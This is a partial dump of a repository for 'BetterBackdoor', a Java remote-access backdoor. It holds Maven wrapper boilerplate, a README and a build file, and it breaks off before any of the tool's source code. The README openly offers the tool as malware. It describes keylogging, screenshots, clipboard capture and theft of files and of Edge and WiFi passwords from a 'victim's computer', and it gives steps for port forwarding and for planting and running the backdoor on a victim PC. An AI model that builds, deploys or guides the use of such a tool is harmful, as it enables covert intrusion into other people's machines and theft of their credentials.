[
  {
    "path": ".gitignore",
    "content": "/target/\r\n/jre/\r\n/backdoor/\r\n.DS_Store\r\n/*.jar\r\n/gathered\r\n/.idea/\r\nBetterBackdoor.iml\r\n/keys.txt"
  },
  {
    "path": ".mvn/wrapper/MavenWrapperDownloader.java",
    "content": "/*\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  https://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n*/\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.net.URL;\nimport java.nio.channels.Channels;\nimport java.nio.channels.ReadableByteChannel;\nimport java.util.Properties;\n\npublic class MavenWrapperDownloader {\n\n    /**\n     * Default URL to download the maven-wrapper.jar from, if no 'downloadUrl' is provided.\n     */\n    private static final String DEFAULT_DOWNLOAD_URL =\n            \"https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar\";\n\n    /**\n     * Path to the maven-wrapper.properties file, which might contain a downloadUrl property to\n     * use instead of the default one.\n     */\n    private static final String MAVEN_WRAPPER_PROPERTIES_PATH =\n            \".mvn/wrapper/maven-wrapper.properties\";\n\n    /**\n     * Path where the maven-wrapper.jar will be saved to.\n     */\n    private static final String MAVEN_WRAPPER_JAR_PATH =\n            \".mvn/wrapper/maven-wrapper.jar\";\n\n    /**\n     * Name of the property which should be used to override the default download url for the wrapper.\n     */\n    private static final String PROPERTY_NAME_WRAPPER_URL = \"wrapperUrl\";\n\n    public static void main(String args[]) {\n        System.out.println(\"- Downloader started\");\n        File baseDirectory = new File(args[0]);\n        System.out.println(\"- Using base directory: \" + baseDirectory.getAbsolutePath());\n\n        // If the maven-wrapper.properties exists, read it and check if it contains a custom\n        // wrapperUrl parameter.\n        File mavenWrapperPropertyFile = new File(baseDirectory, MAVEN_WRAPPER_PROPERTIES_PATH);\n        String url = DEFAULT_DOWNLOAD_URL;\n        if(mavenWrapperPropertyFile.exists()) {\n            FileInputStream mavenWrapperPropertyFileInputStream = null;\n            try {\n                mavenWrapperPropertyFileInputStream = new FileInputStream(mavenWrapperPropertyFile);\n                Properties mavenWrapperProperties = new Properties();\n                mavenWrapperProperties.load(mavenWrapperPropertyFileInputStream);\n                url = mavenWrapperProperties.getProperty(PROPERTY_NAME_WRAPPER_URL, url);\n            } catch (IOException e) {\n                System.out.println(\"- ERROR loading '\" + MAVEN_WRAPPER_PROPERTIES_PATH + \"'\");\n            } finally {\n                try {\n                    if(mavenWrapperPropertyFileInputStream != null) {\n                        mavenWrapperPropertyFileInputStream.close();\n                    }\n                } catch (IOException e) {\n                    // Ignore ...\n                }\n            }\n        }\n        System.out.println(\"- Downloading from: : \" + url);\n\n        File outputFile = new File(baseDirectory.getAbsolutePath(), MAVEN_WRAPPER_JAR_PATH);\n        if(!outputFile.getParentFile().exists()) {\n            if(!outputFile.getParentFile().mkdirs()) {\n                System.out.println(\n                        \"- ERROR creating output direcrory '\" + outputFile.getParentFile().getAbsolutePath() + \"'\");\n            }\n        }\n        System.out.println(\"- Downloading to: \" + outputFile.getAbsolutePath());\n        try {\n            downloadFileFromURL(url, outputFile);\n            System.out.println(\"Done\");\n            System.exit(0);\n        } catch (Throwable e) {\n            System.out.println(\"- Error downloading\");\n            e.printStackTrace();\n            System.exit(1);\n        }\n    }\n\n    private static void downloadFileFromURL(String urlString, File destination) throws Exception {\n        URL website = new URL(urlString);\n        ReadableByteChannel rbc;\n        rbc = Channels.newChannel(website.openStream());\n        FileOutputStream fos = new FileOutputStream(destination);\n        fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE);\n        fos.close();\n        rbc.close();\n    }\n\n}\n"
  },
  {
    "path": ".mvn/wrapper/maven-wrapper.properties",
    "content": "distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.6.0/apache-maven-3.6.0-bin.zip\n"
  },
  {
    "path": "LICENSE",
    "content": "MIT License\r\n\r\nCopyright (c) 2020 ThatcherDev\r\n\r\nPermission is hereby granted, free of charge, to any person obtaining a copy\r\nof this software and associated documentation files (the \"Software\"), to deal\r\nin the Software without restriction, including without limitation the rights\r\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\r\ncopies of the Software, and to permit persons to whom the Software is\r\nfurnished to do so, subject to the following conditions:\r\n\r\nThe above copyright notice and this permission notice shall be included in all\r\ncopies or substantial portions of the Software.\r\n\r\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\r\nSOFTWARE.\r\n"
  },
  {
    "path": "README.md",
    "content": "# BetterBackdoor\r\nA backdoor is a tool used to gain remote access to a machine. \r\n\r\nTypically, backdoor utilities such as NetCat have two main functions: to pipe remote input into cmd or bash and output the response.\r\nThis is useful, but it is also limited.\r\nBetterBackdoor overcomes these limitations by including the ability to inject keystrokes, get screenshots, transfer files, and many other tasks.\r\n\r\n## Features\r\nBetterBackdoor can create and control a backdoor.\r\n\r\nThis created backdoor can:\r\n- Open a command prompt shell\r\n- Run PowerShell scripts\r\n- Run DuckyScripts to inject keystrokes\r\n- Exfiltrate files based on extension\r\n- Exfiltrate Microsoft Edge and WiFi passwords\r\n- Send and receive files to and from victim's computer\r\n- Start a KeyLogger\r\n- Get a screenshot of victim's computer\r\n- Get text copied to victim's clipboard\r\n- Get contents from a victim's file (cat)\r\n- Compress a directory to a ZIP file\r\n- Decompress a ZIP file\r\n\r\nThis backdoor uses a client and server socket connection to communicate.\r\nThe attacker starts a server, and the victim connects to this server as a client.\r\n(Note: if multiple clients attempt to connect, the user is prompted to select which client to connect to)\r\nOnce a connection is established, commands can be sent to the client in order to control the backdoor. \r\n\r\nTo create the backdoor, BetterBackdoor:\r\n- Creates 'run.jar', the backdoor jar file, and copies it to directory 'backdoor'.\r\n- Appends a text file containing the attacker's IP address and an encryption key (if the attacker selected to encrypt the data sent to and from the backdoor) to 'run.jar'. \r\n  - Note: this data is written in plain text.\r\n- If desired, copies a Java Runtime Environment to 'backdoor' and creates batch file 'run.bat' for running the backdoor in the packaged Java Runtime Environment.\r\n\r\nThe backdoor can operate within a single network, LAN, and over the internet, WAN. \r\nHowever, in order to use the backdoor over WAN, port forwarding must be done. \r\n\r\nFor WAN use, ports 1025 and 1026 must be forwarded from the attackers computer with TCP selected. Once this is done, the backdoor can be controlled by the attacker even when the victim and attacker are on different networks.\r\n\r\nTo start the backdoor on a victim PC, transfer all files from the directory 'backdoor' onto a victim PC.\r\n\r\nIf a JRE is packaged with the backdoor, execute run.bat, otherwise execute run.jar. \r\n\r\nThis will start the backdoor on the victim's PC.\r\n\r\nOnce running, to control the backdoor you must return to BetterBackdoor and run option 1 at start.\r\n\r\n## Demo\r\n<a href=\"https://asciinema.org/a/6K0SOY7W8u7ligNoP3s912kwY\" target=\"_blank\"><img src=\"https://asciinema.org/a/6K0SOY7W8u7ligNoP3s912kwY.svg\" width=\"600\"/></a>\r\n\r\n## Requirements\r\n- A Java JDK distribution >=8 must be installed and added to PATH.\r\n- You must use the same computer to create and control the backdoor.\r\n  - The IP address of this computer must remain static in the time between creating the backdoor and controlling it.\r\n- The computer used to control the backdoor must have their firewall deactivated, and if the computer has a Unix OS, must run BetterBackdoor as 'sudo'.\r\n\r\n## Compatibility\r\nBetterBackdoor is compatible with Windows, Mac, and Linux, while the backdoor is only compatible with Windows.\r\n\r\n## Installation\r\n```\r\n# clone BetterBackdoor\r\ngit clone https://github.com/thatcherclough/BetterBackdoor.git\r\n\r\n# change the working directory to BetterBackdoor\r\ncd BetterBackdoor\r\n\r\n# build BetterBackdoor with Maven\r\n# for Windows run\r\nmvnw.cmd clean package\r\n\r\n# for Linux and Mac run\r\nsh mvnw clean package\r\n```\r\n\r\n## Usage\r\n```\r\njava -jar betterbackdoor.jar\r\n```\r\n\r\n## License\r\n- [MIT](https://choosealicense.com/licenses/mit/)\r\n- Copyright 2020 © Thatcher Clough."
  },
  {
    "path": "mvnw",
    "content": "#!/bin/sh\n# ----------------------------------------------------------------------------\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements.  See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership.  The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License.  You may obtain a copy of the License at\n#\n#    https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied.  See the License for the\n# specific language governing permissions and limitations\n# under the License.\n# ----------------------------------------------------------------------------\n\n# ----------------------------------------------------------------------------\n# Maven2 Start Up Batch script\n#\n# Required ENV vars:\n# ------------------\n#   JAVA_HOME - location of a JDK home dir\n#\n# Optional ENV vars\n# -----------------\n#   M2_HOME - location of maven2's installed home dir\n#   MAVEN_OPTS - parameters passed to the Java VM when running Maven\n#     e.g. to debug Maven itself, use\n#       set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000\n#   MAVEN_SKIP_RC - flag to disable loading of mavenrc files\n# ----------------------------------------------------------------------------\n\nif [ -z \"$MAVEN_SKIP_RC\" ] ; then\n\n  if [ -f /etc/mavenrc ] ; then\n    . /etc/mavenrc\n  fi\n\n  if [ -f \"$HOME/.mavenrc\" ] ; then\n    . \"$HOME/.mavenrc\"\n  fi\n\nfi\n\n# OS specific support.  $var _must_ be set to either true or false.\ncygwin=false;\ndarwin=false;\nmingw=false\ncase \"`uname`\" in\n  CYGWIN*) cygwin=true ;;\n  MINGW*) mingw=true;;\n  Darwin*) darwin=true\n    # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home\n    # See https://developer.apple.com/library/mac/qa/qa1170/_index.html\n    if [ -z \"$JAVA_HOME\" ]; then\n      if [ -x \"/usr/libexec/java_home\" ]; then\n        export JAVA_HOME=\"`/usr/libexec/java_home`\"\n      else\n        export JAVA_HOME=\"/Library/Java/Home\"\n      fi\n    fi\n    ;;\nesac\n\nif [ -z \"$JAVA_HOME\" ] ; then\n  if [ -r /etc/gentoo-release ] ; then\n    JAVA_HOME=`java-config --jre-home`\n  fi\nfi\n\nif [ -z \"$M2_HOME\" ] ; then\n  ## resolve links - $0 may be a link to maven's home\n  PRG=\"$0\"\n\n  # need this for relative symlinks\n  while [ -h \"$PRG\" ] ; do\n    ls=`ls -ld \"$PRG\"`\n    link=`expr \"$ls\" : '.*-> \\(.*\\)$'`\n    if expr \"$link\" : '/.*' > /dev/null; then\n      PRG=\"$link\"\n    else\n      PRG=\"`dirname \"$PRG\"`/$link\"\n    fi\n  done\n\n  saveddir=`pwd`\n\n  M2_HOME=`dirname \"$PRG\"`/..\n\n  # make it fully qualified\n  M2_HOME=`cd \"$M2_HOME\" && pwd`\n\n  cd \"$saveddir\"\n  # echo Using m2 at $M2_HOME\nfi\n\n# For Cygwin, ensure paths are in UNIX format before anything is touched\nif $cygwin ; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=`cygpath --unix \"$M2_HOME\"`\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=`cygpath --unix \"$JAVA_HOME\"`\n  [ -n \"$CLASSPATH\" ] &&\n    CLASSPATH=`cygpath --path --unix \"$CLASSPATH\"`\nfi\n\n# For Mingw, ensure paths are in UNIX format before anything is touched\nif $mingw ; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=\"`(cd \"$M2_HOME\"; pwd)`\"\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=\"`(cd \"$JAVA_HOME\"; pwd)`\"\n  # TODO classpath?\nfi\n\nif [ -z \"$JAVA_HOME\" ]; then\n  javaExecutable=\"`which javac`\"\n  if [ -n \"$javaExecutable\" ] && ! [ \"`expr \\\"$javaExecutable\\\" : '\\([^ ]*\\)'`\" = \"no\" ]; then\n    # readlink(1) is not available as standard on Solaris 10.\n    readLink=`which readlink`\n    if [ ! `expr \"$readLink\" : '\\([^ ]*\\)'` = \"no\" ]; then\n      if $darwin ; then\n        javaHome=\"`dirname \\\"$javaExecutable\\\"`\"\n        javaExecutable=\"`cd \\\"$javaHome\\\" && pwd -P`/javac\"\n      else\n        javaExecutable=\"`readlink -f \\\"$javaExecutable\\\"`\"\n      fi\n      javaHome=\"`dirname \\\"$javaExecutable\\\"`\"\n      javaHome=`expr \"$javaHome\" : '\\(.*\\)/bin'`\n      JAVA_HOME=\"$javaHome\"\n      export JAVA_HOME\n    fi\n  fi\nfi\n\nif [ -z \"$JAVACMD\" ] ; then\n  if [ -n \"$JAVA_HOME\"  ] ; then\n    if [ -x \"$JAVA_HOME/jre/sh/java\" ] ; then\n      # IBM's JDK on AIX uses strange locations for the executables\n      JAVACMD=\"$JAVA_HOME/jre/sh/java\"\n    else\n      JAVACMD=\"$JAVA_HOME/bin/java\"\n    fi\n  else\n    JAVACMD=\"`which java`\"\n  fi\nfi\n\nif [ ! -x \"$JAVACMD\" ] ; then\n  echo \"Error: JAVA_HOME is not defined correctly.\" >&2\n  echo \"  We cannot execute $JAVACMD\" >&2\n  exit 1\nfi\n\nif [ -z \"$JAVA_HOME\" ] ; then\n  echo \"Warning: JAVA_HOME environment variable is not set.\"\nfi\n\nCLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher\n\n# traverses directory structure from process work directory to filesystem root\n# first directory with .mvn subdirectory is considered project base directory\nfind_maven_basedir() {\n\n  if [ -z \"$1\" ]\n  then\n    echo \"Path not specified to find_maven_basedir\"\n    return 1\n  fi\n\n  basedir=\"$1\"\n  wdir=\"$1\"\n  while [ \"$wdir\" != '/' ] ; do\n    if [ -d \"$wdir\"/.mvn ] ; then\n      basedir=$wdir\n      break\n    fi\n    # workaround for JBEAP-8937 (on Solaris 10/Sparc)\n    if [ -d \"${wdir}\" ]; then\n      wdir=`cd \"$wdir/..\"; pwd`\n    fi\n    # end of workaround\n  done\n  echo \"${basedir}\"\n}\n\n# concatenates all lines of a file\nconcat_lines() {\n  if [ -f \"$1\" ]; then\n    echo \"$(tr -s '\\n' ' ' < \"$1\")\"\n  fi\n}\n\nBASE_DIR=`find_maven_basedir \"$(pwd)\"`\nif [ -z \"$BASE_DIR\" ]; then\n  exit 1;\nfi\n\n##########################################################################################\n# Extension to allow automatically downloading the maven-wrapper.jar from Maven-central\n# This allows using the maven wrapper in projects that prohibit checking in binary data.\n##########################################################################################\nif [ -r \"$BASE_DIR/.mvn/wrapper/maven-wrapper.jar\" ]; then\n    if [ \"$MVNW_VERBOSE\" = true ]; then\n      echo \"Found .mvn/wrapper/maven-wrapper.jar\"\n    fi\nelse\n    if [ \"$MVNW_VERBOSE\" = true ]; then\n      echo \"Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ...\"\n    fi\n    jarUrl=\"https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar\"\n    while IFS=\"=\" read key value; do\n      case \"$key\" in (wrapperUrl) jarUrl=\"$value\"; break ;;\n      esac\n    done < \"$BASE_DIR/.mvn/wrapper/maven-wrapper.properties\"\n    if [ \"$MVNW_VERBOSE\" = true ]; then\n      echo \"Downloading from: $jarUrl\"\n    fi\n    wrapperJarPath=\"$BASE_DIR/.mvn/wrapper/maven-wrapper.jar\"\n\n    if command -v wget > /dev/null; then\n        if [ \"$MVNW_VERBOSE\" = true ]; then\n          echo \"Found wget ... using wget\"\n        fi\n        wget \"$jarUrl\" -O \"$wrapperJarPath\"\n    elif command -v curl > /dev/null; then\n        if [ \"$MVNW_VERBOSE\" = true ]; then\n          echo \"Found curl ... using curl\"\n        fi\n        curl -o \"$wrapperJarPath\" \"$jarUrl\"\n    else\n        if [ \"$MVNW_VERBOSE\" = true ]; then\n          echo \"Falling back to using Java to download\"\n        fi\n        javaClass=\"$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java\"\n        if [ -e \"$javaClass\" ]; then\n            if [ ! -e \"$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class\" ]; then\n                if [ \"$MVNW_VERBOSE\" = true ]; then\n                  echo \" - Compiling MavenWrapperDownloader.java ...\"\n                fi\n                # Compiling the Java class\n                (\"$JAVA_HOME/bin/javac\" \"$javaClass\")\n            fi\n            if [ -e \"$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class\" ]; then\n                # Running the downloader\n                if [ \"$MVNW_VERBOSE\" = true ]; then\n                  echo \" - Running MavenWrapperDownloader.java ...\"\n                fi\n                (\"$JAVA_HOME/bin/java\" -cp .mvn/wrapper MavenWrapperDownloader \"$MAVEN_PROJECTBASEDIR\")\n            fi\n        fi\n    fi\nfi\n##########################################################################################\n# End of extension\n##########################################################################################\n\nexport MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-\"$BASE_DIR\"}\nif [ \"$MVNW_VERBOSE\" = true ]; then\n  echo $MAVEN_PROJECTBASEDIR\nfi\nMAVEN_OPTS=\"$(concat_lines \"$MAVEN_PROJECTBASEDIR/.mvn/jvm.config\") $MAVEN_OPTS\"\n\n# For Cygwin, switch paths to Windows format before running java\nif $cygwin; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=`cygpath --path --windows \"$M2_HOME\"`\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=`cygpath --path --windows \"$JAVA_HOME\"`\n  [ -n \"$CLASSPATH\" ] &&\n    CLASSPATH=`cygpath --path --windows \"$CLASSPATH\"`\n  [ -n \"$MAVEN_PROJECTBASEDIR\" ] &&\n    MAVEN_PROJECTBASEDIR=`cygpath --path --windows \"$MAVEN_PROJECTBASEDIR\"`\nfi\n\nWRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain\n\nexec \"$JAVACMD\" \\\n  $MAVEN_OPTS \\\n  -classpath \"$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar\" \\\n  \"-Dmaven.home=${M2_HOME}\" \"-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}\" \\\n  ${WRAPPER_LAUNCHER} $MAVEN_CONFIG \"$@\"\n"
  },
  {
    "path": "mvnw.cmd",
    "content": "@REM ----------------------------------------------------------------------------\n@REM Licensed to the Apache Software Foundation (ASF) under one\n@REM or more contributor license agreements.  See the NOTICE file\n@REM distributed with this work for additional information\n@REM regarding copyright ownership.  The ASF licenses this file\n@REM to you under the Apache License, Version 2.0 (the\n@REM \"License\"); you may not use this file except in compliance\n@REM with the License.  You may obtain a copy of the License at\n@REM\n@REM    https://www.apache.org/licenses/LICENSE-2.0\n@REM\n@REM Unless required by applicable law or agreed to in writing,\n@REM software distributed under the License is distributed on an\n@REM \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n@REM KIND, either express or implied.  See the License for the\n@REM specific language governing permissions and limitations\n@REM under the License.\n@REM ----------------------------------------------------------------------------\n\n@REM ----------------------------------------------------------------------------\n@REM Maven2 Start Up Batch script\n@REM\n@REM Required ENV vars:\n@REM JAVA_HOME - location of a JDK home dir\n@REM\n@REM Optional ENV vars\n@REM M2_HOME - location of maven2's installed home dir\n@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands\n@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending\n@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven\n@REM     e.g. to debug Maven itself, use\n@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000\n@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files\n@REM ----------------------------------------------------------------------------\n\n@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'\n@echo off\n@REM set title of command window\ntitle %0\n@REM enable echoing my setting MAVEN_BATCH_ECHO to 'on'\n@if \"%MAVEN_BATCH_ECHO%\" == \"on\"  echo %MAVEN_BATCH_ECHO%\n\n@REM set %HOME% to equivalent of $HOME\nif \"%HOME%\" == \"\" (set \"HOME=%HOMEDRIVE%%HOMEPATH%\")\n\n@REM Execute a user defined script before this one\nif not \"%MAVEN_SKIP_RC%\" == \"\" goto skipRcPre\n@REM check for pre script, once with legacy .bat ending and once with .cmd ending\nif exist \"%HOME%\\mavenrc_pre.bat\" call \"%HOME%\\mavenrc_pre.bat\"\nif exist \"%HOME%\\mavenrc_pre.cmd\" call \"%HOME%\\mavenrc_pre.cmd\"\n:skipRcPre\n\n@setlocal\n\nset ERROR_CODE=0\n\n@REM To isolate internal variables from possible post scripts, we use another setlocal\n@setlocal\n\n@REM ==== START VALIDATION ====\nif not \"%JAVA_HOME%\" == \"\" goto OkJHome\n\necho.\necho Error: JAVA_HOME not found in your environment. >&2\necho Please set the JAVA_HOME variable in your environment to match the >&2\necho location of your Java installation. >&2\necho.\ngoto error\n\n:OkJHome\nif exist \"%JAVA_HOME%\\bin\\java.exe\" goto init\n\necho.\necho Error: JAVA_HOME is set to an invalid directory. >&2\necho JAVA_HOME = \"%JAVA_HOME%\" >&2\necho Please set the JAVA_HOME variable in your environment to match the >&2\necho location of your Java installation. >&2\necho.\ngoto error\n\n@REM ==== END VALIDATION ====\n\n:init\n\n@REM Find the project base dir, i.e. the directory that contains the folder \".mvn\".\n@REM Fallback to current working directory if not found.\n\nset MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%\nIF NOT \"%MAVEN_PROJECTBASEDIR%\"==\"\" goto endDetectBaseDir\n\nset EXEC_DIR=%CD%\nset WDIR=%EXEC_DIR%\n:findBaseDir\nIF EXIST \"%WDIR%\"\\.mvn goto baseDirFound\ncd ..\nIF \"%WDIR%\"==\"%CD%\" goto baseDirNotFound\nset WDIR=%CD%\ngoto findBaseDir\n\n:baseDirFound\nset MAVEN_PROJECTBASEDIR=%WDIR%\ncd \"%EXEC_DIR%\"\ngoto endDetectBaseDir\n\n:baseDirNotFound\nset MAVEN_PROJECTBASEDIR=%EXEC_DIR%\ncd \"%EXEC_DIR%\"\n\n:endDetectBaseDir\n\nIF NOT EXIST \"%MAVEN_PROJECTBASEDIR%\\.mvn\\jvm.config\" goto endReadAdditionalConfig\n\n@setlocal EnableExtensions EnableDelayedExpansion\nfor /F \"usebackq delims=\" %%a in (\"%MAVEN_PROJECTBASEDIR%\\.mvn\\jvm.config\") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a\n@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%\n\n:endReadAdditionalConfig\n\nSET MAVEN_JAVA_EXE=\"%JAVA_HOME%\\bin\\java.exe\"\nset WRAPPER_JAR=\"%MAVEN_PROJECTBASEDIR%\\.mvn\\wrapper\\maven-wrapper.jar\"\nset WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain\n\nset DOWNLOAD_URL=\"https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar\"\nFOR /F \"tokens=1,2 delims==\" %%A IN (%MAVEN_PROJECTBASEDIR%\\.mvn\\wrapper\\maven-wrapper.properties) DO (\n\tIF \"%%A\"==\"wrapperUrl\" SET DOWNLOAD_URL=%%B \n)\n\n@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central\n@REM This allows using the maven wrapper in projects that prohibit checking in binary data.\nif exist %WRAPPER_JAR% (\n    echo Found %WRAPPER_JAR%\n) else (\n    echo Couldn't find %WRAPPER_JAR%, downloading it ...\n\techo Downloading from: %DOWNLOAD_URL%\n    powershell -Command \"(New-Object Net.WebClient).DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')\"\n    echo Finished downloading %WRAPPER_JAR%\n)\n@REM End of extension\n\n%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% \"-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%\" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*\nif ERRORLEVEL 1 goto error\ngoto end\n\n:error\nset ERROR_CODE=1\n\n:end\n@endlocal & set ERROR_CODE=%ERROR_CODE%\n\nif not \"%MAVEN_SKIP_RC%\" == \"\" goto skipRcPost\n@REM check for post script, once with legacy .bat ending and once with .cmd ending\nif exist \"%HOME%\\mavenrc_post.bat\" call \"%HOME%\\mavenrc_post.bat\"\nif exist \"%HOME%\\mavenrc_post.cmd\" call \"%HOME%\\mavenrc_post.cmd\"\n:skipRcPost\n\n@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'\nif \"%MAVEN_BATCH_PAUSE%\" == \"on\" pause\n\nif \"%MAVEN_TERMINATE_CMD%\" == \"on\" exit %ERROR_CODE%\n\nexit /B %ERROR_CODE%\n"
  },
  {
    "path": "pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<parent>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-parent</artifactId>\n\t\t<version>2.1.8.RELEASE</version>\n\t\t<relativePath />\n\t</parent>\n\t<groupId>dev.thatcherclough</groupId>\n\t<artifactId>BetterBackdoor</artifactId>\n\t<version>0.0.1-SNAPSHOT</version>\n\t<name>BetterBackdoor</name>\n\t<description>A backdoor with a multitude of features.</description>\n\n\t<properties>\n\t\t<java.version>1.8</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>commons-io</groupId>\n\t\t\t<artifactId>commons-io</artifactId>\n\t\t\t<version>2.7</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>com.1stleg</groupId>\n\t\t\t<artifactId>jnativehook</artifactId>\n\t\t\t<version>2.0.2</version>\n\t\t</dependency>\n\t</dependencies>\n\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<id>betterbackdoor</id>\n\t\t\t\t\t\t<phase>package</phase>\n\t\t\t\t\t\t<configuration>\n\t\t\t\t\t\t\t<finalName>betterbackdoor</finalName>\n\t\t\t\t\t\t\t<mainClass>dev.thatcherclough.betterbackdoor.BetterBackdoor</mainClass>\n\t\t\t\t\t\t\t<outputDirectory>${project.basedir}</outputDirectory>\n\t\t\t\t\t\t</configuration>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>repackage</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t</execution>\n\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<id>backdoor</id>\n\t\t\t\t\t\t<phase>package</phase>\n\t\t\t\t\t\t<configuration>\n\t\t\t\t\t\t\t<finalName>run</finalName>\n\t\t\t\t\t\t\t<mainClass>dev.thatcherclough.betterbackdoor.backdoor.Backdoor</mainClass>\n\t\t\t\t\t\t</configuration>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>repackage</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n</project>"
  },
  {
    "path": "src/main/java/dev/thatcherclough/betterbackdoor/BetterBackdoor.java",
